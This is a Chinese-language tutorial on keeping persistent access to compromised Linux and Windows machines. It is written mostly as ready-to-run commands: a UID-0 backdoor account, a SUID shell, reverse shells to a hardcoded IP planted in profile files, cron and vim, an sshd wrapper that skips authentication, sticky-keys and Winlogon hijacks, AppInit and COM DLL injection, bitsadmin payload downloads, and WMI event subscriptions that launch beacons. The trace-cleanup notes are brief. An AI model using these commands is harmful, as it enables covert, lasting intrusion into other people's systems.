linux許可權維持
新增賬號
一般在具有root許可權時可以使用以下2種方式新增root許可權使用者
1.通過useradd,後面賬號backdoor/123456
useradd -u 0 -o -g root -G root backdoor
echo 123456:password|chpasswd
2.通過直接對etc/passwd檔案進行寫入
perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密後的結果
# 123456加密後的結果為AASwmzPNx.3sg
echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd #直接寫入etc/passwd中
清理以上痕跡
userdel -f backdoor
設定sid位的檔案
在具有高許可權時,將高許可權的bash檔案拷貝隱藏起來,設定其suid位,則可後面通過低許可權使用者獲取高許可權操作
在高許可權時
cp /bin/bash /tmp/.bash
chmod 4755 /tmp/.bash #設定suid
使用時帶上-p
引數
/tmp/.bash -p
清理痕跡
rm -rf /tmp/.bash
通過環境變數植入後門
以下是環境變數的位置
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc
寫入shell反彈語句
echo 'bash -i >& /dev/tcp/192.168.2.1/7777 0>&1' >> /etc/profile
這樣在重啟的時候就會彈shell過來了,會根據登的哪個賬號彈哪個賬號的shell
以下檔案需要高許可權,為全域性變數
/etc/profile
/etc/profile.d/*.sh
/etc/bashrc
/etc/bash.bashrc
以下為當前使用者的環境變數
~/.bash_profile #實驗過程中沒有反應
~/.profile #登入後會接收shell,但是載入桌面時會卡住
~/.bashrc #開啟shell視窗時會接收shell,但正常的shell視窗會卡住
~/bash_logout #實驗過程中沒有反應
清理痕跡
刪除配置檔案中新增的程式碼即可
寫入ssh公鑰
首先在本地生成ssh公鑰和私鑰
在自己的~/.ssh/目錄下執行
ssh-keygen -t rsa
會生成以下三個檔案,id_rsa.pub為公鑰,id_rsa為私鑰
id_rsa id_rsa.pub known_hosts
xxx為公鑰內容,也就是id_rsa.pub的內容
echo "xxx" >> ~/.ssh/authorized_keys
清理痕跡
刪除目標上的 ~/.ssh/authorized_keys即可
ssh任意密碼登入
在root使用者時,su
,chfn
,chsh
命令不需要輸入密碼認證
通過軟連線將ssh的服務進行cp,並重新命名為以上命令
ln -sf /usr/sbin/sshd /tmp/su #將sshd做軟連線,軟連線檔名為su或chfn或chsh
/tmp/su -oPort=12345 #通過軟連線的檔案,開啟ssh連線-oPort指定開啟埠
連線
ssh root@host -p 12345
#密碼隨便輸入即可登入,並且可登入任意賬號
清理方式
netstat -antp | gerp -E "su|chfn|chsh"
#找到程式號xxx
ps aux | grep xxx
#找到軟連線位置/aaa/bbb/su
kill xxx
rm -rf /aaa/bbb/su
修改sshd檔案做到無認證登入
建立連線時ssh伺服器端使用的是sshd檔案來管理接收到的連線,此時對sshd檔案內容進行修改,則能做到無認證登入
將原先的sshd檔案進行轉義
mv /usr/sbin/sshd /usr/bin/sshd
開始使用perl進行寫指令碼
echo '#!/usr/bin/perl' > /usr/sbin/sshd
echo 'exec "/bin/bash -i" if (getpeername(STDIN) =~ /^..LF/);' >> /usr/sbin/sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >> /usr/sbin/sshd
其實整個指令碼在第二行執行了個if,如果埠符合要求,則直接建立連線,否則正常執行sshd
其中的LF代表開啟的埠號是19526
python2
>> import struct
>> print struct.pack('>I6',19526)
#輸出的內容為 LF
賦予新檔案許可權並重啟sshd
chmod u+x sshd
service sshd restart
連線方式
socat STDIO TCP4:172.16.177.178:22,bind=:19526
清除痕跡
#刪除自定義的sshd
rm -rf /usr/sbin/sshd
#將同版本的sshd拷貝到對應目錄下
mv /usr/bin/sshd /usr/sbin/sshd
利用vim可執行python指令碼預留後門
先準備個python的反彈shell指令碼
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
找到提供vim外掛的python的擴充套件包目錄
vim --version #檢視使用的python版本
找到python的擴充套件位置
pip show requests
進入目錄
cd /usr/lib/python2.7/site-packages
將內容寫入
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.1",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > dir.py
執行,並刪除檔案
$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
清除痕跡
ps aux|grep vim
#獲取pid
kill pid
計劃任務
因為計劃任務使用的是/bin/sh,所以傳統的直接通過bash反彈shell是行不通的
這裡藉助python,或者perl都可
使用python
echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.2.1\",7778));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -
使用perl
echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.2.1\";\$p=7778;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -
清除痕跡
如果通過crontab -e
不知道為啥會頂掉上一個
crontab -l #只看得到一個
crontab -r #刪除所有計劃任務
動態載入庫
使用export LD_PRELOAD=./xx.so
這時候./xx.so
中如果對函式進行了重定義,呼叫了該函式的程式就會執行重定義的程式碼
這裡使用以下專案
https://github.com/Screetsec/Vegile
準備2個檔案
- msf的木馬
- Veglie專案
使用方法將MSF木馬
和Vegile
上傳到目標伺服器上,把專案目錄弄成http服務
python -m SimpleHTTP
目標伺服器上
wget http://xxx.xxx.xx.xxx:8000/Vegile.zip
wget http://xxx.xxx.xx.xxx:8000/shell
解壓後執行
unzip Vegile.zip
chmod 777 Vegile shell
./Vegile --u shell
清理痕跡
清理起來十分麻煩,因為直接刪除程式是刪不掉的,因此存在父程式與多個子程式
清理思路掛起父程式,清除所有子程式再刪除父程式
windows許可權維持
比較常見的windows提取
ms14_058 核心模式驅動程式中的漏洞可能允許遠端執行程式碼
ms16_016 WebDAV本地提權漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提權漏漏洞
計劃任務
拿到shell後先修改編碼
chcp 65001
設定計劃任務,每分鐘呼叫執行一次shell
schtasks /create /tn shell /tr C:\payload.exe /sc minute /mo 1 /st 10:30:30 /et 10:50:00
清理痕跡
控制皮膚->管理工具->任務計劃程式->找到惡意計劃任務
在 操作 中找到呼叫的指令碼,進行檔案刪除
刪除惡意計劃任務
映像劫持
在程式執行前會去讀自己是否設定了debug,需要對劫持的程式有許可權
以下通過登錄檔對setch.exe設定了debug為cmd.exe程式,也就是按5下shift會彈出cmd的框
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
清理痕跡
HKLM是HKEY_LOCAL_MACHINE
找到目標的登錄檔,將debug內容刪除
環境變數
使用者登陸時會去載入環境變數,通過設定環境變數UserInitMprLogonScript
值,實現登陸時自動執行指令碼
reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\Downloads\1.bat" /f
清理痕跡
直接找到 開始->使用者頭像->更改我的環境變數
程式退出劫持
在登錄檔HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
下控制程式的退出時執行的動作,但有時候許可權很迷
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\payload.exe”
清理痕跡
找到目標的登錄檔刪除即可
AppInit_DLLs注入
User32.dll 被載入到程式時,設定其登錄檔的中能設定載入其他的dll檔案,則可使其載入惡意的指令碼
對HKML登錄檔的內容進行修改一般都要system許可權
Windows 10
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
其他
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls /t REG_SZ /d "c:\Users\Public\Downloads\beacon.dll" /f
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0x1 /f
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0x0 /f
這樣在開啟cmd或者計算器這種能呼叫User32.dll動態連結庫的時候就會觸發
清理痕跡
到對應登錄檔的位置刪除Appinit_Dlls的值
bits檔案傳輸
通過bitsadmin從網路上下載的時候可以額外執行指令碼
bitsadmin /create test
隨意下載
bitsadmin /addfile test http://192.168.2.1:8000/payload.ps1 c:\users\public\downloads\payload.ps1
執行的命令
bitsadmin /SetNotifyCmdLine test "C:\windows\system32\cmd.exe" "cmd.exe /c c:\users\public\downloads\payload.exe"
啟動任務
bitsadmin /resume test
每次開機的時候會觸發
清理痕跡
bitsadmin /reset
COM元件劫持
將指令碼放入com元件中
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /t REG_SZ /d "c:\users\public\downloads\beacon.dll" /f
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Apartment" /f
清理痕跡
刪除登錄檔中的路徑值,並通過路徑刪除木馬檔案
替換cmd.exe
將sethc.exe(按shift 5下)替換成cmd.exe
takeown /f sethc.* /a /r /d y
cacls sethc.exe /T /E /G administrators:F
copy /y cmd.exe sethc.exe
清理痕跡
找個原版的setch.exe 覆蓋回去
Winlogon劫持
winlogon是windows登入賬戶時會執行的程式,這裡將其登錄檔中寫入木馬執行的dll路徑
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v shell /t REG_SZ /d "explorer.exe, rundll32.exe \"c:\users\public\downloads\beacon.dll\" StartW" /f
清理痕跡
刪除登錄檔的shell中的值,並且找到後門檔案刪除掉
組策略
需要能遠端登入到桌面
輸入gpedit.msc開啟組策略,需要管理員賬號
在使用者與計算機中的windows設定中均可以對指令碼進行編輯,使用者策略是使用者許可權,計算機策略是system許可權
清理痕跡
開啟組策略找到指令碼,刪除即可
修改計算器啟動服務呼叫的程式
啟動服務有些需要手動啟動,比如IEEtwCollectorService 服務,這裡做後面的思路是,該服務本身對計算機執行沒有影響,因此將其手動啟動改成自動啟動,並將其執行的指令碼改成木馬後門
類比一下windows10 沒有IEEtwCollectorService 服務可以選擇COMSysApp服務
篡改執行指令碼
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v ImagePath /t REG_EXPAND_SZ /d "c:\users\public\downloads\beacon.exe" /f
設定自動啟動
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IEEtwCollector Service" /v Start /t REG_DWORD /d 2 /f
啟動服務
sc start IEEtwCollectorService
返回的是system許可權
清理痕跡
將篡改的登錄檔改回來,並且刪除目標木馬
MSDTC 服務
MSDTC 服務預設會載入一個在windowss/system32下的不存在的 oci.dll,思路是將cs.dll 改名為oci.dll,放到system32下即可,該方法需要管理員使用者許可權
清理痕跡
刪除的時候因為被多個程式呼叫,因此刪不掉,這裡可以換個思路修改其名稱,重啟再刪除
啟動項
啟動項是會去指定資料夾下執行資料夾下的所有服務,這個資料夾是
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
也會執行以下注冊表中的指令碼
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
需要高許可權
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
清理痕跡
刪除資料夾下的木馬或者刪除登錄檔中新增的惡意木馬登錄檔,並找到木馬位置刪除
cmd 啟動劫持
在cmd啟動時回去登錄檔中檢視是否有AutoRun的健值,如果有則會執行其中的指令碼
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "c:\users\public\downloads\payload.exe" /f
清理痕跡
在管理員許可權下刪除登錄檔的值即可
wmic事件
註冊一個事件過濾器,該過濾器是開機 2 分鐘到 2 分半鐘,由於是永久 WMI 事 件訂閱,故需要管理員許可權,最終獲取到許可權也是 system 許可權
wmic
/NAMESPACE:"\\root\subscription"PATH__EventFilterCREATE Name="TestEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150"
註冊一個事件消費者,這裡寫入了要執行的命令,是用 rundll32 啟動 cs 的 dll
wmic /NAMESPACE:"\\root\subscription"PATHCommandLineEventConsumer CREATE Name="TestConsumer2",ExecutablePath="C:\Windows\System32\cmd.exe",CommandLineTemplate=" /c rundll32 c:\users\public\downloads\beacon.dll #5"
繫結事件 過濾器和事件消費者
wmic /NAMESPACE:"\\root\subscription"PATH__FilterToConsumerBindingCREATE Filter="__EventFilter.Name=\"TestEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"TestConsumer2\""